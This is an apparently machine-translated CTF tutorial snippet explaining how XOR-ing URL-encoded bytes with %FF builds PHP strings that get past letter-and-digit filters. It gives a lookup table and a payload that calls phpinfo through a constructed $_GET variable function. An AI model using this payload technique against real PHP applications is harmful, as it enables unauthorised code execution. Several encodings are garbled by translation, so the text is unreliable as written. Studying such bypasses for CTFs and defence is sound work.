Shulou(Shulou.com)05/31 Report--

This article will explain in detail how CTF bypasses characters and numbers to construct shell. The editor thinks it is very practical, so I share it for you as a reference. I hope you can get something after reading this article.

Test source code

To run the script, we know

% 81 ^% FF = > ~% 82 ^% FF = >}% 83 ^% FF = > |

% 84 ^% FF = > {% 85 ^% FF = > z% 86 ^% FF = > y

% 87 ^% FF = > x% 88 ^% FF = > w% 89 ^% FF = > v

% 8A ^% FF = > u% 8B ^% FF = > t% 8C ^% FF = > s

% 8D ^% FF = > r% 8e ^% FF = > Q% 8F ^% FF = > p

% 90 ^% FF = > o% 91 ^% FF = > n% 92 ^% FF = > m

% 93 ^% FF = > l% 94 ^% FF = > k% 95 ^% FF = > j

% 96 ^% FF = > I% 97 ^% FF = > h% 98 ^% FF = > g

% 99 ^% FF = > f% 9A ^% FF = > e% 9B ^% FF = > d

% 9C ^% FF = > c% 9D ^% FF = > b% 9e ^% FF = > a

% 9F ^% FF = > `% A0 ^% FF = > _% A1 ^% FF = > ^

% A2 ^% FF = >]% A3 ^% FF = >\% A4 ^% FF = > [

% A5 ^% FF = > Z% A6 ^% FF = > Y% A7 ^% FF = > X

% A8 ^% FF = > W% A9 ^% FF = > V% AA ^% FF = > U

% AB ^% FF = > T% AC ^% FF = > S% AD ^% FF = > R

% AE ^% FF = > Q% AF ^% FF = > P% B0 ^% FF = > O

% B1 ^% FF = > N% B2 ^% FF = > M% B3 ^% FF = > L

% B4 ^% FF = > K% B5 ^% FF = > J% B6 ^% FF = > I

% B7 ^% FF = > H% B8 ^% FF = > G% B9 ^% FF = > F

% BA ^% FF = > E% BB ^% FF = > D% BC ^% FF = > C

% BD ^% FF = > B% be ^% FF = > A% BF ^% FF = > @

% C0 ^% FF = >?

Construct a phpinfo () function by this method

${% f% f ^% a0% b8% ba% ab} {% ff} (); &% ff=phpinfo

/ ${_ GET} {% ff} (); &% ff=phpinfo

We know that URL decoding is performed after a get pass, so we can encode the characters in url and then XOR to get the characters we want. % A0 ^% FF = > _

% B8 ^% FF = > G

% BA ^% FF = > E

% AB ^% FF = > T

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.